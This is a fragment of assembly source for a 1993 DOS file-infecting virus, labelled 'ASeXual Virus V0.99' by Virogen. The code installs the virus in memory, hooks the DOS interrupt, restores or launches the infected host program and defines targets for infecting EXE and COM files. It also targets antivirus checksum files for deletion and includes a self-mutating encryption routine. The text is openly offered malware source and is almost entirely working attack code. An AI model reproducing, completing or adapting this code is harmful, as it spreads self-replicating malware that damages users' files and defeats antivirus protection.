;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
            mov     ah,signal              ; is virus already in mem?
            int     21h
            cmp     ah,reply               ;
            jne     cont_i                 ; nope.. continue
            jmp     no_install             ; yes.. don't install again
 cont_i:

            mov     ax,cs
            dec     ax
            mov     ds,ax
            cmp     byte ptr ds: [0],'Z'    ;Is this the last MCB in
                                            ;the chain?
            jne     no_install
 cont_i2:

            mov     ax,ds: [3]              ;Block size in MCB
            sub     ax,230                  ;Shrink Block Size-quick estimate
            mov     ds: [3],ax

            mov     bx,ax
            mov     ax,es
            add     ax,bx
            mov     es,ax                   ;Find high memory seg

            mov     si,bp
            add     si,0100h
            mov     cx,(offset vend - offset start)/2
            mov     ax,ds
            inc     ax
            mov     ds,ax
            mov     di,100h                 ; New location in high memory
            cld
            rep     movsw                   ; Copy virus to high memory

            push    es                      ; ds=es
            pop     ds
            xor     ax,ax
            mov     es,ax                   ; null es
            mov     ax,es: [21h*4+2]        ; store old int addresses
            mov     bx,es: [21h*4]
            mov     ds: old21_seg,ax
            mov     ds: old21_ofs,bx

            cli                             ; disable interrrupts

            mov     es: [21h*4+2],ds        ; Set new addresses
            lea     ax, new21
            mov     es: [21h*4],ax

            sti                             ; re-enable interrupts

 no_install:
            push    cs                      ; Restore segment regs
            pop     ds
            push    cs
            pop     es

            cmp     byte ptr vtype[bp],parastic ; parastic infection?
            je      com_return              ; yes, return to start of COM

            mov     bx,(offset vend+50)     ; Calculate memory needed
            mov     cl,4                    ; divide by 16
            shr     bx,cl
            inc     bx
            mov     ah,4ah
            int     21h                     ; Release un-needed memory

            lea     dx,file_dir-1[bp]       ; Execute the original EXE
            lea     bx,par_blk[bp]
            mov     ch,0FBh                 ; tell mem. resident virus
            mov     ax,4b00h                ; that it's us.
            int     21h

            mov     ah,4ch                  ; Exit
            int     21h

 com_return:

            mov     si,bp                   ;
            mov     cx,7                    ; Restore original first
            add     si,offset org_bytes     ; seven bytes of COM file
            mov     di,0100h                ;
            cld                             ;
            rep     movsb                   ;

            mov     ax,0100h                ; Jump back to 100h - start of
            push    ax                      ; original program
            ret                             ;

non_res        endp

vtype	    db	    spawn		    ; Infection type
com_name    db	    'COMMAND.COM'	    ; obvious
org_bytes   db      7 dup(0)                ; original first seven bytes of parastic inf.
pad_bytes   dw      0                       ; Increase in virus size
inc_op      db      47h                     ; INC DI (47h) or INC SI (46h)
nop_sub     db      40h                     ; fill byte
copyr       db      '(c)1993 - Virogen'     ; I must allow myself to be prosecuted
v_id        db      0ah,0dh,'ASeXual Virus V0.99 - Your computer has been artificially Phucked!$'
spec        db      'CHKLIST.*',0           ; MS/CPAV Checksom kill
spec2       db      'ANTI-VIR.*',0          ; TBAV Checksum kill
fname1      db      '*.EXE',0               ; Filespec
fname2	    db	    '*.COM',0		    ; Filespec
change_num  dw      1030                    ; keep track of position of INC DI|SI
addr_pos    dw      0                       ; relative location of MOV DI|SI
cx_pos      dw      17                      ; relative location of MOV CX
xor_pos     dw      10                      ; relative location of XOR
loop_pos    dw      0                       ; relative location of LOOP
xor_op      db      81h,35h                 ; XOR word ptr [DI|SI],XXXX
di_op       db      0Bfh                    ; MOV DI|SI,
mov_di      dw      0                       ;  XXXX
cx_op       db      0b9h                    ; MOV CX
b_wr        dw      (offset vend-offset enc_data)+2  ; don't divide this by two
new_code    db      0B9h                    ; MOV NN,
            dw      0000                    ;  XXXX
push_reg    db      51h                     ; PUSH NN
            db      0C3h                    ; RET - jump to NN
times_inc   db      0                       ; # of times encryption call incremented
sl	    db	    '\'			    ; Backslash for directory name
file_dir    db	    64 dup(0)		    ; directory of file we infected
file_name   db	    13 dup(0)		    ; filename of file we infected

par_blk	    dw	    0			    ; command line count byte   -psp
par_cmd	    dw	    0080h		    ; Point to the command line -psp
par_seg	    dw	    0			    ; seg
	    dw	    05ch		    ; Use default FCB's in psp to save space
par1	    dw	    0			    ;        
	    dw	    06ch		    ; FCB #2
par2	    dw	    0			    ;

vend:                                       ; End of virus

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; heap - not written to disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fname_off   dw      fname1                  ; Offset of Filespec to use
old_dta     dd      0                       ; Old DTA Segment:Address
old_eh_seg  dw      0                       ; old error handler (int 24h) seg
old_eh_off  dw      0                       ; old error handler (int 24h) ofs
inf_count   db      0                       ; How many files we have infected this run
fcb         db      21 dup(0)               ; fcb
  attrib    db      0                        ; file attribute
  f_time    dw      0                        ; file time
  f_date    dw      0                        ; file date
  f_sizeh   dw      0                        ; file size
  f_sizel   dw      0                        ;
  f_name    db      13 dup(0)                ; file name


cseg        ends
	    end	    start